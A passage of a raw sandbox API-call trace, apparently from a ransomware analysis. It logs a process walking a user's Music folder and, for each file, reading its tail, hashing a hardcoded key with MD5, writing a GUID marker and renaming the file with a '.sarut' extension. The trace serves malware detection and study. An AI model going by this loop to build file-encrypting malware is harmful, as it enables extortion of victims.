HALPmcxz\\Music\\7SLVf8\\1rcxkwS-WVFCcNTFOvBu.mp3.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\1rcxkws-wvfccntfovbu.mp3.sarut")) returned 1 [0270.954] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2a2470, ftCreationTime.dwHighDateTime=0x1d4d10e, ftLastAccessTime.dwLowDateTime=0xc66ee5b0, ftLastAccessTime.dwHighDateTime=0x1d4d137, ftLastWriteTime.dwLowDateTime=0xc66ee5b0, ftLastWriteTime.dwHighDateTime=0x1d4d137, nFileSizeHigh=0x0, nFileSizeLow=0x6a9b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4qxq GBI03hb94VB1Bxh.mp3", cAlternateFileName="4QXQGB~1.MP3")) returned 1 [0270.954] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.954] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0270.954] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\4qxq GBI03hb94VB1Bxh.mp3") returned=".mp3" [0270.954] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\4qxq GBI03hb94VB1Bxh.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\4qxq gbi03hb94vb1bxh.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.955] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=27291) returned 1 [0270.955] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.958] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x6a75, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.958] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.962] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0270.962] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x6a9b, lpOverlapped=0x0) returned 1 [0270.963] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.963] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0270.963] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.963] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.964] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0270.965] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.965] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.965] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.965] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0270.965] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.965] GetLastError () returned 0x0 [0270.965] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.965] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0270.965] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x6a9b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.965] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.965] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0270.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0270.965] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0270.965] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.965] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.966] CloseHandle (hObject=0x5c4) returned 1 [0270.969] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0270.969] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8a0) returned 0x311d708 [0270.969] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\4qxq GBI03hb94VB1Bxh.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\4qxq gbi03hb94vb1bxh.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\4qxq GBI03hb94VB1Bxh.mp3.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\4qxq gbi03hb94vb1bxh.mp3.sarut")) returned 1 [0270.970] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x927aee50, ftCreationTime.dwHighDateTime=0x1d4d1b6, ftLastAccessTime.dwLowDateTime=0x5b174e40, ftLastAccessTime.dwHighDateTime=0x1d4d1ca, ftLastWriteTime.dwLowDateTime=0x5b174e40, ftLastWriteTime.dwHighDateTime=0x1d4d1ca, nFileSizeHigh=0x0, nFileSizeLow=0xa886, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5Ek2Ncsbu3-Kn69J_.wav", cAlternateFileName="5EK2NC~1.WAV")) returned 1 [0270.970] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.971] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0270.971] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\5Ek2Ncsbu3-Kn69J_.wav") returned=".wav" [0270.971] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\5Ek2Ncsbu3-Kn69J_.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\5ek2ncsbu3-kn69j_.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.972] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=43142) returned 1 [0270.972] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.975] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xa860, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.975] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.977] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0270.977] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xa886, lpOverlapped=0x0) returned 1 [0270.977] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.977] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0270.978] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.978] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.978] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0270.979] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.979] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.979] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.979] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0270.979] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.979] GetLastError () returned 0x0 [0270.979] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.979] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0270.979] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xa886, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.979] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.979] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0270.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0270.979] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0270.980] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.980] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.980] CloseHandle (hObject=0x5c4) returned 1 [0270.984] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0270.984] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0270.984] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\5Ek2Ncsbu3-Kn69J_.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\5ek2ncsbu3-kn69j_.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\5Ek2Ncsbu3-Kn69J_.wav.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\5ek2ncsbu3-kn69j_.wav.sarut")) returned 1 [0270.988] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bd2c780, ftCreationTime.dwHighDateTime=0x1d4d466, ftLastAccessTime.dwLowDateTime=0x98ae02d0, ftLastAccessTime.dwHighDateTime=0x1d4d38c, ftLastWriteTime.dwLowDateTime=0x98ae02d0, ftLastWriteTime.dwHighDateTime=0x1d4d38c, nFileSizeHigh=0x0, nFileSizeLow=0x16102, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8goXTx lf4qln.mp3", cAlternateFileName="8GOXTX~1.MP3")) returned 1 [0270.988] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.988] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0270.988] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\8goXTx lf4qln.mp3") returned=".mp3" [0270.988] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\8goXTx lf4qln.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\8goxtx lf4qln.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.989] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=90370) returned 1 [0270.989] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.992] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x160dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.992] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.993] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0270.993] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x16102, lpOverlapped=0x0) returned 1 [0270.994] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.994] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0270.994] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.994] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.994] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0270.995] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.995] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.995] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.995] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0270.995] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.995] GetLastError () returned 0x0 [0270.995] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.995] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0270.996] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16102, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.996] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.996] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0270.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0270.996] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0270.997] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.997] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.997] CloseHandle (hObject=0x5c4) returned 1 [0271.002] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa50e8 [0271.002] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0271.002] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\8goXTx lf4qln.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\8goxtx lf4qln.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\8goXTx lf4qln.mp3.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\8goxtx lf4qln.mp3.sarut")) returned 1 [0271.004] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a63ee60, ftCreationTime.dwHighDateTime=0x1d4d156, ftLastAccessTime.dwLowDateTime=0x2d5a5450, ftLastAccessTime.dwHighDateTime=0x1d4ce7f, ftLastWriteTime.dwLowDateTime=0x2d5a5450, ftLastWriteTime.dwHighDateTime=0x1d4ce7f, nFileSizeHigh=0x0, nFileSizeLow=0x4c5d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9UqmwCjaFzvC9hxQ_Hzm.mp3", cAlternateFileName="9UQMWC~1.MP3")) returned 1 [0271.004] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.004] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0271.004] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\9UqmwCjaFzvC9hxQ_Hzm.mp3") returned=".mp3" [0271.004] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\9UqmwCjaFzvC9hxQ_Hzm.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\9uqmwcjafzvc9hxq_hzm.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.006] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=19549) returned 1 [0271.006] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.008] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x4c37, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.008] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.013] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0271.013] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x4c5d, lpOverlapped=0x0) returned 1 [0271.014] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.014] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0271.014] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.014] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.014] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0271.015] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.015] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.015] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.015] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0271.015] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.015] GetLastError () returned 0x0 [0271.015] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.015] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0271.015] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x4c5d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.015] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.016] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0271.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0271.016] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0271.016] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.016] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.016] CloseHandle (hObject=0x5c4) returned 1 [0271.020] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0271.020] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8a0) returned 0x311d708 [0271.021] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\9UqmwCjaFzvC9hxQ_Hzm.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\9uqmwcjafzvc9hxq_hzm.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\9UqmwCjaFzvC9hxQ_Hzm.mp3.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\9uqmwcjafzvc9hxq_hzm.mp3.sarut")) returned 1 [0271.022] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a6c5940, ftCreationTime.dwHighDateTime=0x1d4cb6a, ftLastAccessTime.dwLowDateTime=0xc860ad90, ftLastAccessTime.dwHighDateTime=0x1d4cbe7, ftLastWriteTime.dwLowDateTime=0xc860ad90, ftLastWriteTime.dwHighDateTime=0x1d4cbe7, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="aqCrbf.mp3", cAlternateFileName="")) returned 1 [0271.022] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.022] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0271.022] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\aqCrbf.mp3") returned=".mp3" [0271.022] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\aqCrbf.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\aqcrbf.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.023] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=53411) returned 1 [0271.023] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.025] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xd07d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.026] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.027] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0271.028] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xd0a3, lpOverlapped=0x0) returned 1 [0271.028] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.029] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0271.029] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.029] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.029] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0271.030] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.030] CryptHashData (hHash=0x3091560, 